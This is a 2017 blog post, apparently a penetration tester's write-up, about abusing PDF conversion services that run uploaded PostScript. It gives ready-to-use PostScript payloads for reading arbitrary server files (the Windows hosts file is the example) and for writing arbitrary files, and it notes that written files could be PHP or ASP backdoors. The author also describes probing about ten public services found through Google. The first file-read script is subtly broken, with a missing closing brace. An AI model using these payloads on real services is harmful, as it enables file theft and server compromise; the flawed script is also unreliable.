Saturday, February 18, 2017

Weaponizing PostScript

In a recent pentesting assignment, there was a service which converted uploaded files to PDF/A format, to make them safer for handling. After all, they were uploaded to the service by external users. The service only allowed Excel (.xls & .xlsx), Word (.doc & .docx) and PDF -files. Eventually I ended up trying to upload a PostScript-file with the extension .pdf. After all, pdf and PostScript formats are similar. You should know, that many PostScript interpreters won't allow file I/O, but still as I found out: it's a chance!

The exploiting was simple: I was able to upload the postscript files to the server, which then proceeded to convert the file to PDF or PDF/A. With one of the services I had to just rename the PostScript file so it had .pdf extension. Then the services gave me access to the converted files, which had the loot within them...

I have also witnessed this vulnerability on the Internet in publicly available services and notified them. I tried to find possible targets (file conversion services) with Google and tested about 10 of the first hits in the results. 3 of the targets were vulnerable but by the request of the vulnerable parties, whose services are now fixed, I won't be disclosing them publicly.

I first uploaded the Hello World script found in wikipedia:
 /Courier             % name the desired font
 20 selectfont        % choose the size in points and establish 
                      % the font as the current one
 72 500 moveto        % position the current point at 
                      % coordinates 72, 500 (the origin is at the 
                      % lower-left corner of the page)
 (Hello world!) show  % stroke the text in parentheses
 showpage             % print all on the page

After uploading the file with a pdf extension, the service converted it automatically and the resulting PDF looked like the following:
Hello World! PostScript after conversion

The PostScript code was executed!

PoC code

I then started studying PostScript, for I had never written any of it and the syntax looked really strange. I tried to find readily available exploit codes written in PostScript - after all, you can even find a HTTP server written in PostScript - but I didn't find anything that would suit my needs.

After googling a bit, I found a copy of a book called "Thinking in PostScript". It's pretty old, but it seems to still be accurate. After skimming through it, I was able to write 2 pieces of PostScript code, of which 1 significantly helped me in my assignment:
  1. Script that reads a file and includes it's contents in the PDF, that is the result of the conversion
  2. Script that creates arbitrary files

What was unfortunate for me, was that the process had no permissions to write any files on the server, but I still was able to read any files that the process had read access to.

Reading arbitrary files

Because I didn't find anything online that would accomplish the same, I thought that I would share my scripts, so here goes:

Reading arbitrary files and including the text in the resulting PDF file
/infile (input.txt) (r) file def % open files
/buff 128 string def             % buffer for reading
/Courier 8 selectfont            % name and size of font
/LM 72 def                       % x coord
/ypos 800 def                    % y coord
/lineheight 10 def               % height of a line
/newline {                       % function for changing lines
    ypos lineheight sub
    /ypos exch def
    LM ypos moveto 
} def
LM ypos moveto                   % move to starting coords

{ % read the file in loop
        infile buff readline     % read the file 1 line at a time
        { %ifelse
                buff cvs show
        { %else
                buff cvs show
                infile closefile % close file pointer
                exit             % exit the loop
        } ifelse
} bind loop


You can naturally replace input.txt with any file and path you desire. You just need to escape backslashes (\) and parentheses (both ( and )) with a backslash. For example to read the hosts file on a windows, you'd replace "input.txt" with "C:\\Windows\\System32\\drivers\\etc\\hosts".

However there are limitations. For example, the script doesn't handle pagination, and if the contents don't fit on one page, only partial results are rendered. However the pdf still contains all the text, you just need some tools to dig it out. One such a tool is pdf2txt from the pdfminer toolkit. Additionally readline doesn't include linefeed nor carriage return characters in the buffer, so I'd recommend the following script instead (for larger and/or binary files):

/infile (input.txt) (r) file def % open files
/buff 128 string def             % buffer for reading
/Courier 8 selectfont            % name and size of font
/LM 72 def                       % x coord
/ypos 800 def                    % y coord
LM ypos moveto
{ % loop
  infile buff readstring         % read chars to the buffer
  { %ifelse
    buff cvs show                % write the chars to the document
  }{ %else
    buff cvs show
    infile closefile             % close file pointer
    exit                         % exit the loop
  } ifelse
} bind loop


If you read a file with the above script and try to extract the contents with pdf2txt, all the binary bytes are replaced with (sid:xx) where xx is a decimal representation of the character. For example a newline (0x0a) would be replaced with (sid:10), but they should be fairly simple to convert back to their binary form.

Writing arbitrary files

With the following script, you can write arbitrary files
/outfile (output.txt) (w) file def % open files and save file objects
/outstring (Contents of the output.txt
You can even have multiple lines.) def % define what you write
outfile outstring writestring      % write the file
outfile closefile                  % close the file pointer
/Courier 10 selectfont             % Write something to the pdf
72 720 moveto                      % so you know if the process
(Completed!) show                  % crashed or not...

Again you should be good if you just escape any backslashes and parentheses with backslashes in your file contents. 

If writing files with PostScript is allowed, you can easily see why allowing external users to create files is bad, when you consider the possibility to create a php, asp or any other backdoor on the target.

If you want to test out the above scripts yourself, you can use for example the ps2pdf from the ghostscript-package. With it you see, that the file I/O is by default forbidden and you should get a verbose error starting with "Error: /invalidfileaccess in --file--". 
Running the PostScript code without the -DNOSAFER argument

You still get a pdf, but it's empty...

To bypass this and actually execute the script to see how they operate, you can use the -DNOSAFER parameter:
Running the PostScript code with the -DNOSAFER argument

1 comment:

  1. Thanks for posting this!

    I had the "Thinking in PostScript" book for a long while, it is excellent.